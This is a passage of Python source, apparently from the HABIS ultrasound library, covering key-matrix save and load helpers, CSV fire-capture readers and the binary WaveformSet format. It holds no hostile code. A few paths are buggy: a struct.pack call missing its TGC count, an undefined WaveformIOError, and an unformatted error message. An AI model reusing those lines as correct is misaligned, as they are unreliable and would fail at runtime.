x = strict_int(x)
if positive and x <= 0:
raise ValueError('Argument must be positive')
elif x < 0:
raise ValueError('Argument must be nonnegative')
return x
def renderAndLoadYaml(data, **kwargs):
'''
Attempt to render the string data as a Mako template with kwargs passed
to the Mako renderer with string_undefined=True. Parse the rendered
result as YAML using yaml.safe_load.
If the Mako template engine cannot be imported, the data is parsed as
pure YAML. Specifying kwargs when Mako cannot be imported raises a
TypeError.
'''
from yaml import safe_load
try:
from mako.template import Template
except ImportError:
if kwargs:
raise TypeError('Extra keyword arguments '
'require Mako template engine')
return safe_load(data)
else:
tmpl = Template(text=data, strict_undefined=True)
return safe_load(tmpl.render(**kwargs))
def loadmatlist(files, *a, **k):
'''
A conveience function to produce the ordered dictionary
OrderedDict(sorted(kv for f in files
for kv in loadkeymat(f, *a, **k).iteritems()))
If files is a string instead of any other iterable, it will be replaced
with glob.glob(files) before being inserted into the above constructor.
When files is a string, a special keyword argument, forcematch, may be
provided. This argument will be stripped from the kwargs dictionary k
and, when True, will cause an IOError to be raised if the glob matches
no files. Otherwise, if forcematch is omitted or False, a glob that
matches no files will cause an empty map to be returned.
'''
if isinstance(files, str):
from glob import glob
files = glob(files)
forcematch = k.pop('forcematch', False)
if forcematch and not files: raise IOError('No matches for glob "files"')
return OrderedDict(sorted(kv for f in files
for kv in loadkeymat(f, *a, **k).items()))
def loadkeymat(f, scalar=None, dtype=None, nkeys=None):
'''
A convenience function that will attempt to load a mapping from f using
loadz_keymat or (if loadz_keymat fails) loadtxt_keymat. The optional
arguments scalar and dtype, if not None, are passed as kwargs to either
load function.
If nkeys is not None, it will be used to verify the cardinality of keys
in a mapping returned by a successful call to loadz_keymat or passed as
an argument to loadtxt_keymat.
'''
# Build optional kwargs
kwargs = { }
if scalar is not None: kwargs['scalar'] = scalar
if dtype is not None: kwargs['dtype'] = dtype
try:
mapping = loadz_keymat(f, **kwargs)
except (ValueError, IOError):
if nkeys is not None: kwargs['nkeys'] = nkeys
return loadtxt_keymat(f, **kwargs)
if nkeys is not None and len(mapping):
key = next(iter(mapping.keys()))
try: nk = len(key)
except TypeError: nk = 1
if nkeys != nk:
raise ValueError('Cardinality of keys in mapping does not match nkeys parameter')
return mapping
def savez_keymat(f, mapping, sortrows=True, compressed=False, comment=None):
'''
Stores mapping, which maps one or more integers to one or more
numerical values, into f (which may be a string providing a file name,
or an open file-like object) using numpy.savez (if compressed is
False) or numpy.savez_compressed (if compressed is True).
All keys must contain the same number of integers. Each value in the
mapping may consiste of an arbitrary number of numeric values.
If sortrows is True, the data will be stored in an order determined by
sorted(mapping.keys()). Otherwise, the row order is either arbitrary or
enforced by the input map (e.g., an OrderedDict).
The saved npz file contains three arrays: 'keys', an N-by-M integer
array such that each row specifies an M-integer key in the input
mapping; 'values', which stores the values of the mapping flattened
according to the order of 'keys', and 'lengths', which specifies the
length of the value array for each associated key. That is,
mapping[keys[i]] = values[start:start+lengths[i]],
where start = sum(lengths[j] for 0 <= j < i).
If the lengths of the value lists for all keys are the same, the
'lengths' array may be just a scalar value, in which case 'lengths[i]'
should be interpreted as '([lengths] * len(keys))[i]'.
If comment is not None, it should be a string that will be stored as an
extra array, called 'comment', in the output file. The comment will be
ignored when loading the file.
'''
# Make sure any comment is a string
if comment is not None: exargs = { 'comment': str(comment) }
else: exargs = { }
keys = sorted(mapping.keys()) if sortrows else list(mapping.keys())
# Build the length array and flattened value array
lengths, values = [ ], [ ]
for k in keys:
v = mapping[k]
try:
lengths.append(len(v))
values.extend(v)
except TypeError:
lengths.append(1)
values.append(v)
lengths = np.array(lengths)
values = np.array(values)
# Collapse lengths to scalar if possible
try: lv = lengths[0]
except IndexError: lv = 0
if np.all(lengths == lv):
lengths = np.array(lv)
# Verify the value array
if not np.issubdtype(values.dtype, np.number):
raise TypeError('Values in mapping must be numeric')
# Verify the key array
keys = np.array(keys)
if not np.issubdtype(keys.dtype, np.integer) or keys.ndim > 2:
raise TypeError('Keys in mapping consist of one more integers and must have consistent cardinality')
savez = np.savez_compressed if compressed else np.savez
savez(f, keys=keys, values=values, lengths=lengths, **exargs)
def loadz_keymat(*args, **kwargs):
'''
Load and return, using numpy.load(*args, **kwargs), a mapping (created
with savez_keymat) from one or more integers to one or more numerical
values.
If the number of elements in every value array is 1, setting an
optional keyword argument scalar (True by default) to False will
preserve the values as 1-element Numpy arrays. Otherwise, 1-element
Numpy arrays will be collapsed to scalars. The scalar keyword argument
is stripped from the kwargs and is not passed to numpy.load.
The data types of the value arrays can be forced by specifying an
optional keyword argument dtype. The dtype argument will be stripped
from the kwargs and is not passed to numpy.load.
The returned mapping is an OrderedDict that preserves the ordering of
keys in the input file.
If the loaded file does not contain a valid mapping in the style
prepared by savez_keymat, a ValueError will be raised.
If the file contains a "comment" key, it will be silently ignored.
'''
# Pull specialty kwargs
scalar = kwargs.pop('scalar', True)
dtype = kwargs.pop('dtype', None)
try:
# Load the file
with np.load(*args, **kwargs) as data:
try:
files = set(data.keys())
# Ignore a comment in the file
try: files.remove('comment')
except KeyError: pass
# Make sure all other fields are recognized
if files != { 'keys', 'values', 'lengths' }: raise ValueError
except (AttributeError, ValueError):
raise ValueError('Unrecognized data structure in input')
keys = data['keys']
values = data['values']
lengths = data['lengths']
except AttributeError:
raise ValueError('Invalid file format')
# Convert the data type if desired
if dtype is not None:
values = values.astype(dtype)
if not np.issubdtype(keys.dtype, np.integer) or not 0 < keys.ndim < 3:
raise ValueError('Invalid mapping key structure')
if not np.issubdtype(lengths.dtype, np.integer) or lengths.ndim > 1:
raise ValueError('Invalid mapping length structure')
if not np.issubdtype(values.dtype, np.number) or values.ndim != 1:
raise ValueError('Invalid mapping value structure')
if lengths.ndim == 1 and len(lengths) != len(keys):
raise ValueError('Mapping lengths and keys do not have equal lengths')
nvals = np.sum(lengths) if lengths.ndim == 1 else (lengths * len(keys))
if len(values) != nvals:
raise ValueError('Mapping values do not have appropriate lengths')
if scalar:
# Determine whether the mapped values can be collapsed to scalars
if lengths.ndim == 0:
scalar = lengths == 1
else:
scalar = (lengths.shape[0] > 0 and
all(lv == 1 for lv in lengths))
# Collapse 1-element keys to scalars
try: keys = keys.squeeze(axis=1)
except ValueError: pass
if keys.ndim == 2:
# Convert a list of key values to a tuple of Python scalars
keys = [ tuple(k.tolist()) for k in keys ]
else:
# Collapse a single key value to a single Python scalar
keys = [ k.tolist() for k in keys ]
mapping = OrderedDict()
start = 0
for key, lv in zip(keys, lengths if lengths.ndim == 1 else repeat(lengths)):
mapping[key] = values[start] if scalar else values[start:start+lv]
start += lv
return mapping
def loadtxt_keymat(*args, **kwargs):
'''
Loads a textual Numpy matrix by calling numpy.loadtxt(*args, **kwargs),
then converts the output to an OrderedDict mapping integers in some
positive number of leading columns to Numpy arrays composed of the
remaining columns. The ouput dictionary preserves the ordering of rows
in the input file.
If the number of remaining columns is 1, setting an optional keyword
argument scalar (default: True) to False will preserve 1-element Numpy
arrays as the values of the dictionary. Otherwise, 1-element Numpy
arrays in the dictionary values will be collapsed to scalars. The
scalar keyword argument is stripped from kwargs and is not passed to
numpy.loadtxt.
The dimensionality of the text matrix will be forced to 2 by adding
ndmin=2 to the kwargs. Therefore, this value should not be specified in
args or kwargs.
An optional keyword argument, nkeys (default: 1), will be stripped from
kwargs to determine the number of leading columns to use as keys. If
nkeys is 1, the keys will be single integers. For nkeys > 1, the keys
will be tuples of integers.
'''
# Pull speciality kwargs
nkeys = strict_nonnegative_int(kwargs.pop('nkeys', 1), positive=True)
scalar = kwargs.pop('scalar', True)
# Ensure the dimensionality is correctly specified
kwargs['ndmin'] = 2
mat = np.loadtxt(*args, **kwargs)
_, ncol = mat.shape
if nkeys >= ncol:
raise ValueError('Number of key columns must be less than number of columns in matrix')
def kvmaker(g):
k = tuple(strict_int(gv) for gv in g[:nkeys])
v = g[nkeys:]
if len(k) < 2: k = k[0]
if scalar and len(v) < 2: v = v[0]
return k, v
return OrderedDict(kvmaker(g) for g in mat)
def savetxt_keymat(*args, **kwargs):
'''
Stores a dictionary mapping integers to sequences as a textual Numpy
matrix using numpy.savetxt(*args, **kwargs), where the keys become the
leading columns of the matrix and the remaining columns are populated
by the corresponding values.
If a format is specified as the 'fmt' argument to savetxt, it must
account for the extra columns populated by the keys.
If kwargs contains a 'sortrows' argument, the Boolean value (defaulting
to True) for the argument determines whether the mapping is sorted by
keys prior to output. Without sorting, the row order is either
arbitrary or enforced by the input map (e.g., an OrderedDict). This
argument is not forwarded to savetxt.
'''
# Pull the map
if len(args) > 1:
x = args[1]
else:
x = kwargs.pop('X')
sortrows = kwargs.pop('sortrows', True)
def aslist(x):
try: return list(x)
except TypeError: return list([x])
rows = iter(x.items()) if not sortrows else sorted(x.items())
# Convert the dictionary to a list of lists
mat = [ aslist(k) + aslist(v) for k, v in rows ]
# Overwrite the input argument for the matrix
if len(args) > 1:
args = tuple(a if i != 1 else mat for i, a in enumerate(args))
else:
kwargs['X'] = mat
np.savetxt(*args, **kwargs)
def findenumfiles(dir, prefix='.*?', suffix='', ngroups=1):
'''
Find all files in the directory dir with a name matching the regexp
r'^<PREFIX>(-([0-9]+)){ngroups}<SUFFIX>$', where <PREFIX> is replaced
with an optional prefix and <SUFFIX> is replaced with an optional
suffix to restrict the search, and return a list of tuples in which the
first item is the name and subsequent entries are the matched integers
(which will number ngroups) in left-to-right order.
'''
from os.path import join
from re import compile as recomp
if ngroups < 1:
raise ValueError('At least one number group must be specified')
# Build the number-matching portion
numstr = '-([0-9]+)' * ngroups
# Enumerate the matching groups (0 is the whole matching string)
grpidx = tuple(range(ngroups + 1))
# Build the regexp and filter the list of files in the directory
regexp = recomp(r'^%s%s%s$' % (prefix, numstr, suffix))
# When converting matched groups to integers, discard the whole-string group
return [tuple([join(dir, f)] + [int(g) for g in m.group(*grpidx)[1:]])
for f in os.listdir(dir) for m in [regexp.match(f)] if m]
def specreptype():
'''
Returns a numpy data type consisting of a 64-bit complex component,
labeled 'val', which stores the magnitude of a spectral component and a
64-bit integer, labeled 'idx', which stores the component's FFT index.
'''
return np.dtype([('val', np.complex64), ('idx', np.int64)])
def splitspecreps(a):
'''
Break a record array a of concatenated spectral representations, with
dtype habis.formats.specreptype(), into a list of record arrays
corresponding to each group of spectral representations in the original
array. The number of records in the first group (output[0]) is
specified by n[0] = (a[0]['idx'] + 1), with output[0] = a[:n[0]].
The number of records in a subsequent group (output[i]) is given by
n[i] = (a[sum(n[:i-1])]['idx'] + 1),
with output[i] = a[sum(n[:i-1]):sum(n[:i])].
'''
start = 0
output = []
while start < len(a):
nvals = a[start]['idx'] + 1
if nvals < 1: raise ValueError('Spectral representation counts must be positive')
grp = a[start:start+nvals]
if len(grp) < nvals: raise ValueError('Could not read specified number of records')
output.append(a[start:start+nvals])
start += nvals
return output
def countspecreps(f):
'''
For a file f that contains sequence of spectral representations, return
the number of components in each group within the sequence. Thus, if A
represents the array of habis.formats.specreptype() records listed in the
file f, the output array n will have
n[0] = (A[0]['idx'] + 1), and
n[i] = (A[sum(n[:i-1])]['idx'] + 1).
'''
dtype = specreptype()
# Open the file and determine its size
infile = open(f, 'rb')
infile.seek(0, os.SEEK_END)
fend = infile.tell()
infile.seek(0, os.SEEK_SET)
# Scan through the file to pick up all of the counts
n = []
while (infile.tell() < fend):
# Read the header record and add it to the list
nrec = np.fromfile(infile, dtype=dtype, count=1)[0]['idx']
n.append(nrec + 1)
# Skip over the records for this group
infile.seek(nrec * dtype.itemsize, os.SEEK_CUR)
return n
def repreducer(n):
'''
This is a factory function that returns a reducer function, suitable
for use in readfiresequence and readfirecapture, which selects only
rows whose repetition index matches the specified integer n.
'''
def reducefunc(mat): return mat[mat[:,1].astype(int) == n]
return reducefunc
def readfirecapture(f, reducer=None):
'''
Read the capture of a single HABIS fire sequence (with any number of
transmit repetitions) in CSV format. The file has 4 header lines and is
comma-delimited. The format of each line is a sequence of integers
channel, repetition, samples...
where samples are in the range [-8192,8192). Channel values are indexed
from zero.
The data is sorted first by channel and then by repetition index before
processing.
The return value is a tuple (output, channels, repetitions), where
output is 3-D array of the form output[i,j,k], where i is the receive
channel index, j is the repetition, and k is the sample index. Every
receive channel must contain the same number of repetitions or a
ValueError will be raised. The list channels contains elements that
indicate the channel indices identified in the file, such that
channels[i] is the listed channel index for slice output[i,:,:].
The list repetitions is similarly defined such that reptitions[j] is
the listed repetition index for slice output[:,j,:].
If reducer is not None, it should be a callable that takes as input the
raw array data read from f and returns a filtered version of the data
that will be processed as that were the raw data read from the file.
'''
from pandas import read_csv
# Read the data and use the reducer filter if appropriate
data = read_csv(f, skiprows=4, header=None).values
# If reducer is None, a TypeError is raised; just ignore it
try: data = reducer(data)
except TypeError: pass
# Sort the data according to channel and repetition
idx = sorted((d[0], d[1], i) for i, d in enumerate(data[:,:2]))
data = data[[v[-1] for v in idx]]
# Count the channels and reptitions
def counter(x, y):
"Count the channel and repetition in a result dictionary tuple"
try: x[0][y[0]] += 1
except KeyError: x[0][y[0]] = 1
try: x[1][y[1]] += 1
except KeyError: x[1][y[1]] = 1
return x
channels, repetitions = reduce(counter, idx, ({}, {}))
# Ensure that all channels have the same repetition count
if len(set(channels.values())) != 1:
raise ValueError('All channels must have the same number of reptitions')
if len(set(repetitions.values())) != 1:
raise ValueError('Each channel must have same set of reptition indices')
# Strip out the channel and repetition indices
channels = sorted(channels.keys())
repetitions = sorted(repetitions.keys())
nchan = len(channels)
nreps = len(repetitions)
nsamps = data.shape[-1] - 2
return data[:,2:].reshape((nchan, nreps, nsamps)), channels, repetitions
def readfiresequence(fmt, findx, reducer=None):
'''
Read a series of HABIS fire capture fires whose names are given by the
Python format string fmt. The string fmt is passed to the format
function with each value in the sequence findx to produce a unique
filename. The output arrays of readfirecapture() are collected, in
sequence, and concatenated along a new first axis.
The channel and reptition indices returned by readfirecapture() are
ignored. However, because np.concatenate() is used to produce the
concatenated output, every readfirecapture() array must have the same
shape.
The reducer is passed to readfirecapture for processing per-fire data.
'''
data = [readfirecapture(fmt.format(f), reducer=reducer)[0][np.newaxis,:,:,:]
for f in findx]
return np.concatenate(data, axis=0)
class TxGroupIndex(tuple):
'''
A class to encapsulate and type-check transmit-index pairs.
'''
def __new__(cls, lidx, gidx):
'''
Create a new TxGroupIndex with local index lidx and
group index gidx.
'''
lidx = strict_nonnegative_int(lidx)
gidx = strict_nonnegative_int(gidx)
return tuple.__new__(cls, (lidx, gidx))
@property
def idx(self): return self[0]
@property
def grp(self): return self[1]
def signForTx(self, transmission, group):
'''
Return the sign (-1, 0, 1) of the given transmission
number and group for this transmit and group index.
'''
# If the groups don't match, the sign is zero
if group != self.grp: return 0
# Count number of common bits in transmission and idx
txcom = strict_nonnegative_int(transmission) & self.idx
count = 0
while txcom:
txcom &= txcom - 1
count += 1
# Sign is +1 for even number of common bits
return 1 - 2 * (count % 2)
class TxGroupConfiguration(tuple):
'''
A class to encapsulate and type-check transmit-group configurations.
'''
def __new__(cls, count, size):
'''
Create a new TxGroupConfiguration.
'''
count = strict_nonnegative_int(count)
size = strict_nonnegative_int(size)
return tuple.__new__(cls, (count, size))
@property
def count(self): return self[0]
@property
def size(self): return self[1]
@property
def maxtx(self): return self[0] * self[1]
class RxChannelHeader(tuple):
'''
A class to encapsulate and type-check receive-channel headers
in WaveformSet files.
'''
def __new__(cls, idx, pos, win, txgrp=None):
'''
Create a new header for receive channel idx,
element location pos = (px, py, pz), and data window
win = (start, length). The transmit group txgrp may
either be None or (index, group).
'''
from .sigtools import Window
idx = strict_nonnegative_int(idx)
px, py, pz = pos
pos = tuple(float(p) for p in (px, py, pz))
# Force the window start to be nonnegative
win = Window(win, nonneg=True)
if txgrp is not None: txgrp = TxGroupIndex(*txgrp)
return tuple.__new__(cls, (idx, pos, win, txgrp))
@property
def idx(self): return self[0]
@property
def pos(self): return self[1]
@property
def win(self): return self[2]
@property
def txgrp(self): return self[3]
def copy(self, **kwargs):
"Copy the header, optionally replacing certain properties."
keys = ['idx', 'pos', 'win', 'txgrp']
props = dict((key, kwargs.pop(key, getattr(self, key))) for key in keys)
if len(kwargs):
raise TypeError("Unrecognized keyword '%s'" % (next(iter(kwargs.keys())),))
return type(self)(**props)
class WaveformSet(object):
'''
A class to encapsulate a (possibly multi-facet) set of pulse-echo
measurements from a single target.
'''
# A bidirectional mapping between typecodes and Numpy dtype names
from pycwp.util import bidict
typecodes = bidict({b'I2': 'int16', b'I4': 'int32', b'I8': 'int64', b'F2': 'float16',
b'F4': 'float32', b'F8': 'float64', b'C4': 'complex64', b'C8': 'complex128'})
@staticmethod
def _get_open(f=None, compression=None):
'''
Return the appropriate open function to handle optionally
compressed files and a Boolean that is True iff compression was
detected or requested.
If f is not None, it should be the name of an existing file.
The python-magic module will be used to determine whether
gzip.open, bz2.open or the regular open should be used to read
the file. The "compression" argument in this case is ignored.
If f is None, then compression should be one of None, 'gzip' or
'bz2'.
'''
import bz2, gzip
openers = { 'bz2': bz2.open, 'gzip': gzip.open, '': open }
if not f:
compression = (compression or '').strip().lower()
errmsg = 'Value of compression must be None, "gzip" or "bz2"'
else:
try: import magic
except ImportError: mime = ''
else: mime = magic.Magic(mime=True).from_file(f).lower()
compression = { 'application/x-gzip': 'gzip',
'application/x-bzip2': 'bz2' }.get(mime, '')
errmsg = 'Unable to determine file compression scheme'
try: return (openers[compression], compression != '')
except KeyError: raise ValueError(errmsg)
@classmethod
def fromwaveform(cls, wave, copy=False, hdr=None, rid=0, tid=0, f2c=0):
'''
Create a new WaveformSet object with a single transmit index
and a single receive index with a sample count and data type
defined by the provided Waveform wave. The sole waveform record
will be populated with wave.
If copy is False, the record in the WaveformSet will, whenever
possible, capture a reference to the waveform data instead of
making a copy. If copy is True, a copy will always be made.
If hdr is not None, it should be a receive-channel header that
will be used for the single receive-channel record in the
output WaveformSet. The value of hdr.win will be overwritten
with wave.datawin, and the value of rid will be ignored.
If hdr is None, a default header
(rid, [0., 0., 0.], wave.datawin)
will be used.
The parameter tid should be a single nonnegative integer that
specifies the transmit index to assign to the Waveform.
The parameter f2c should be a single nonnegative integer that
specifies the fire-to-capture delay to encode in the set.
'''
# Create the set
wset = cls(1, tid, wave.nsamp, f2c, wave.dtype)
if hdr is None:
# Create a default header
hdr = RxChannelHeader(rid, [0.]*3, wave.datawin)
else:
# Ensure hdr is RxChannelHeader, then set datawin
hdr = RxChannelHeader(*hdr).copy(win=wave.datawin)
wset.setrecord(hdr, wave.getsignal(wave.datawin), copy)
return wset
@classmethod
def empty_like(cls, wset, with_context=True):
'''
Create a new instance of WaveformSet configured exactly as
wset, except without any waveform records.
If with_context is True, the dictionary wset.context will be
copied (shallowly) into the created WaveformSet. Otherwise, the
context of the created WaveformSet will be empty
'''
nwset = cls(wset.ntx, wset.txstart, wset.nsamp, wset.f2c, wset.dtype, wset.txgrps)
if with_context: nwset.context = wset.context.copy()
else: nwset.context = { }
return nwset
def __init__(self, ntx=0, txstart=0, nsamp=4096, f2c=0,
dtype=np.dtype('int16'), txgrps=None):
'''
Create an empty WaveformSet object that embodies acquisitions
of a set of waveforms from a total of ntx transmission indices (0-based)
starting from index txstart. Each acquisition starts after a
fire-to-capture delay of f2c samples and persists for nsamp
samples. Waveform arrays are stored with the specified Numpy
dtype.
If txgrps is specified, it should be a TxGroupConfiguration
object or a tuple of the form (count, size) that specifies the
number of transmit groups into which transmissions are
subdivided, and the number of elements in each group.
'''
# Record the waveform dtype
self._dtype = np.dtype(dtype)
# Prepopulate properties that will be validated later
self._f2c = 0
self._nsamp = 0
self._ntx = 0
self._txstart = 0
self._txgrps = None
# Create an empty, ordered record dictionary
# Needed for validation of other properties
self._records = OrderedDict()
# Create an empty group map
self._groupmap = { }
# Assign validated properties
self.nsamp = nsamp
self.f2c = f2c
# Build and validate the transmit-channel mapping
self.ntx = ntx
self.txstart = txstart
# Initialize the group configuration as specified
self.txgrps = txgrps
# Extra scan context can be read from a file header and is
# passed on when writing compatible versions, but is never
# inherently interpreted
self.context = { }
@classmethod
def _verify_file_version(cls, version, write=False):
'''
Ensure that the provided version matches one supported by the
WaveformSet class. If version is unsupported, a ValueError is
raised. Otherwise, just return the version tuple.
'''
try:
major, minor = version
major = strict_nonnegative_int(major)
minor = strict_nonnegative_int(minor)
except (TypeError, ValueError):
raise ValueError('Version format is not recognized')
if major != 1: raise ValueError('Unsupported major version')
if not write:
# Support all currently defined formats for reading
if not (0 <= minor < 7):
raise ValueError('Unsupported minor version for reading')
return (major, minor)
# Only version-6 writes are supported
if minor != 6:
raise ValueError('Unsupported minor version for writing')
return major, minor
def store(self, f, append=False, ver=(1,6), compression=None):
'''
Write the WaveformSet object to the data file in f (either a
name or a file-like object that allows writing).
If append is True, the file-level header is not written. An
unopened file is opened for appends instead of truncating an
existing file. It is the caller's responsibility to assure that
an existing file header is consistent with records written by
this method in append mode.
The compression argument should be None, 'gzip' or 'bz2'. If
compression is not None, f is a string and append is False, the
file will be opened as a gzip.GzipFile (for 'gzip') or
bz2.BZ2File (for 'bz2'). It is a ValueError to specify a
non-None value for compression and a string for f when append
mode is True. When f is not a string, the value of compression
is ignored.
** NOTE **
Because the WaveformSet may map some input file for waveform
arrays after calling load(), calling store() with the same file
used to load() may cause unexpected behavior.
'''
# Open the file if it is not open
if isinstance(f, str):
opener, compressed = self._get_open(None, compression)
if compressed and append:
raise ValueError('Append mode with compression is not supported')
f = opener(f, ('ab' if append else 'wb'))
# Verify that the output version is supported
major, minor = self._verify_file_version(ver, write=True)
# A missing transmit-group configuration takes the special value (0,0)
try: gcount, gsize = self.txgrps
except (TypeError, ValueError): gcount, gsize = 0, 0
if not append:
# Encode the magic number and file version
hbytes = struct.pack('<4s2I', b'WAVE', major, minor)
# Encode temperature values
temps = self.context.get('temps', [float('nan')]*2)
hbytes += np.asarray(temps, dtype=np.float32).tobytes()
# Encode the datatype
typecode = self.typecodes.inverse[np.dtype(self.dtype).name][0]
hbytes += struct.pack('<2s', typecode)
# Encode transmission parameters
hbytes += struct.pack('<4I2HI', self.f2c, self.nsamp,
self.nrx, self.ntx, gcount, gsize, self.txstart)
try:
# Make sure TGC is a 1-D array
tgc = np.asarray(self.context['tgc'], dtype=np.float32).squeeze()
except KeyError:
# Header contains no TGC records
hbytes += struct.pack('<I', 0)
else:
if tgc.ndim != 1:
raise ValueError('TGC must be a 1-D array of floats')
hbytes += struct.pack('<I')
hbytes += tgc.tobytes()
f.write(hbytes)
# Write each record in turn
for idx in sorted(self.rxidx):
hdr, waveforms = self._get_record_raw(idx)
if idx != hdr.idx:
raise ValueError('Record index does not match receive-channel index')
px, py, pz = hdr.pos
ws, wl = hdr.win
# Without a transmit-group configuration, use (0,0)
try: li, gi = hdr.txgrp
except (TypeError, ValueError): li, gi = 0, 0
# Enclode the receive-channel header
hbytes = struct.pack('<3I3f2I', idx, li, gi, px, py, pz, ws, wl)
f.write(hbytes)
# Encode the waveform data
wbytes = waveforms.tobytes()
f.write(wbytes)
f.flush()
@staticmethod
def _funpack(f, fmt):
'''
Read from the file pointer f (using f.read) the appropriate
number of bytes to unpack the struct described by the format
string fmt.
The file must already be open. Any exception is caught and
converted into a WaveformSetIOError.
'''
try:
sz = struct.calcsize(fmt)
return struct.unpack(fmt, f.read(sz))
except Exception as err:
raise WaveformSetIOError(f'Failure to unpack bytes: {err}')
@staticmethod
def _npunpack(f, dtype, count):
'''
Read from the file point f (using f.read) the approriate number
of bytes to built a 1-D Numpy array of the specified type and
count. The count must be nonnegative. If count is 0, the
returned array will be empty.
The file must alread by open. Any exception raised by the I/O
and Numpy bytes-to-array conversion is caught and converted
into a WaveformSetIOError.
'''
if count < 0:
raise ValueError(f'Cannot read {count} bytes into Numpy array')
elif count < 1:
return np.array([], dtype=dtype)
dtype = np.dtype(dtype)
try:
rbytes = f.read(dtype.itemsize * count)
return np.frombuffer(rbytes, dtype, count)
except Exception as err:
raise WaveformSetIOError(f'Failure to read array: {err}')
@classmethod
def load(cls, f, force_dtype=None, allow_duplicates=False,
skip_zero_length=True, warn_on_error=True,
header_only=False, stream_mode=False):
'''
Create a WaveformSet object with the data in f, a file-like
object or string specifying a file name. If f is a file-like
object, parsing starts from the current file position.
In general, any error will cause a WaveformSetIOError exception
to be raised.
Each block of waveform data is memory-mapped (except when
stream_mode is True; see below) from the source file. This
mapping is copy-on-write; changes do not persist.
If force_dtype is not None, and the data type of records stored
in the file is not equal to force_dtype, each record block will
be converted to the data type in the datatype argument.
If allow_duplicates is False, file parsing will halt the first
time a header is encounted for a receive-channel index
previously encountered in the file. If allow_duplicates is
True, each receive-channel record will replace any previously
encountered records for the same channel index.
Records for which the data block has zero length will be read
but not stored in the WaveformSet object if skip_zero_length is
True; if it is False, the empty record will be stored.
** NOTE: If allow_duplicates is False, encountering multiple
records for the same receive-channel index will terminate even
if one or more of the duplicate records has zero length and
skip_zero_length is True.
It is an error if the number of parsed receive-channel records
does not equal the number of records enconcoded in the file
header. If warn_on_error is True, this error will cause a
warning to be issued. Otherwise, a WaveformSetIOError will be
raised in case this error is encountered.
If header_only is True, the contents of the WaveformSet header
header will be read from the file, but processing will stop
before records are read and stored in the WaveformSet instance.
No file-length checks are performed to determine whether the
file contents are valid (beyond the ability to parse the
header), and no indication of the receive channels encoded in
the file will be available.
When header_only is False, this method returns the WaveformSet
instance. When header_only is True, this method returns the
WaveformSet and the value of the "nrx" property encoded in the
file.
If stream_mode is True, the waveform data will not be
memory-mapped, but will be copied into locally controlled
memory. Furthermore, seeks will not be performed on the input,
making this mode suitable for compressed input. (This method
will not attempt to open compressed files, so the argument f
should be a GzipFile, BZ2File or similar instance if inline
decompression is desired.)
'''
# Open the file if it is not open
if isinstance(f, str):
opener, compressed = cls._get_open(f)
f = opener(f, mode='rb')
# Force stream mode for compressed input
if compressed: stream_mode = True
# Convenience: attach the file to funpack and npunpack
funpack = partial(cls._funpack, f)
npunpack = partial(cls._npunpack, f)
# Read the magic number and file version
try:
magic, major, minor = funpack('<4s2I')
if magic != b'WAVE': raise WaveformSetIOError
except WaveformSetIOError:
raise WaveformSetIOError('Unable to identify WAVE header')
try: major, minor = cls._verify_file_version((major, minor))
except ValueError as err:
raise WaveformSetIOError(f'Unsupported WAVE format: {err}')
# Create some empty context
context = { }
if minor > 4:
# Read temperature context
try: context['temps'] = npunpack('float32', 2)
except WaveformSetIOError as err:
raise WaveformSetIOError(f'Invalid temperature: {err}')
# Read the type code for this file
try:
typecode = funpack('<2s')[0]
dtype = np.dtype(cls.typecodes[typecode])
except (WaveformSetIOError, KeyError) as err:
raise WaveformSetIOError(f'Invalid typecode: {err}')
if force_dtype is not None:
# Force a dtype conversion, if necessary
force_dtype = np.dtype(force_dtype)
if force_dtype == dtype: force_dtype = None
# Parse common transmission parameters
f2c, nsamp, nrx, ntx = funpack('<4I')
# By default, start the transmission indexing at 0
txstart = 0
# Clear any group configuration for now
txgrps = None
if minor > 1:
# Read the group configuration
count, size = funpack('<2H')
# Make sure both values are sensible integers
count = strict_nonnegative_int(count)
size = strict_nonnegative_int(size)
# Only configure transmit groups if the count is positive
if count > 0:
# Default group size, if unspecified, is 10240 / count
if size == 0:
size = 10240 // count
if size * count != 10240:
msg = f'Unable to infer size for {count} groups'
raise WaveformIOError(msg)
txgrps = count, size
# For version (1,4) and above, read an explicit txstart
if minor >= 4: txstart = funpack('<I')[0]
# Minor versions below 6 used fixed 256-value TGC records
if minor < 6: rcount = 256
else: rcount = funpack('<I')[0]
if rcount:
try: tgc = npunpack('float32', rcount)
except WaveformSetIOError as err:
msg = f'Unable to read {rcount} TGC values: {err}'
raise WaveformSetIOError(msg)
# For minor versions < 6, don't keep all-zero TGC
if minor > 5 or np.count_nonzero(tgc):
context['tgc'] = tgc
elif minor == 0:
# Verion 0 uses an explicit 1-based transmit-index list
try: txidx = npunpack('uint32', ntx) - 1
except WaveformSetIOError:
msg = 'Tx list must contain {ntx} values: {err}'
raise WaveformSetIOError(msg)
# Now create the empty object and associate context
wset = cls(ntx=ntx, txstart=txstart, nsamp=nsamp, f2c=f2c,
dtype=(force_dtype or dtype), txgrps=txgrps)
wset.context = context
# Skip processing of records in header_only mode
if header_only: return wset, nrx
if not stream_mode:
# Use a single Python mmap buffer for backing data
# (Map starts at file start; remember current location)
fsrec = f.tell()
buf = mmap.mmap(f.fileno(), 0, access=mmap.ACCESS_COPY)
f.seek(fsrec)
# For (1, 2) files, keep a running index tally
idx = -1
# If the set isn't configured for transmit groups,
# ignore any group spec in the receive-channel headers
usegrps = (wset.txgrps is not None)
# Keep track of duplicate records, if necessary
if not allow_duplicates:
encountered = set()
# Parse through the specified number of receive records
# As a special case, when nrx is zero, read all possible records
while nrx == 0 or wset.nrx < nrx:
if minor == 2:
# Update running index
idx += 1
else:
# Read a global channel index
# Correct 1-based indexing in early versions
try: idx = funpack('<I')[0] - int(minor < 2)
except WaveformSetIOError: break
# Read element position and data window parameters
if minor > 1:
# Also read transmission group configuration
try: i, g, px, py, pz, ws, wl = funpack('<2I3f2I')
except WaveformSetIOError: break
txgrp = (i, g) if usegrps else None
if minor == 2:
# Correct an off-by-one window specification bug
if wl == nsamp and ws == 1: ws = 0
else:
try: px, py, pz, ws, wl = funpack('<3f2I')
except WaveformSetIOError: break
txgrp = None
# Build the channel header
hdr = (idx, (px, py, pz), (ws, wl), txgrp)
if not allow_duplicates:
if idx in encountered:
msg = f'Parsing terminated at duplicate record {idx}'
warnings.warn(WaveformSetIOWarning(msg))
# Avoid detecting junk after duplicate header
if not stream_mode: fsrec = f.tell()
break
encountered.add(idx)
# Determine the shape of the waveform
waveshape = (ntx, wl)
if not stream_mode:
# Return a view into the map
fsmap = f.tell()
try:
wavemap = np.ndarray(waveshape,
dtype=dtype, buffer=buf,
order='C', offset=fsmap)
except TypeError: break
# Skip to next header and update next record offset
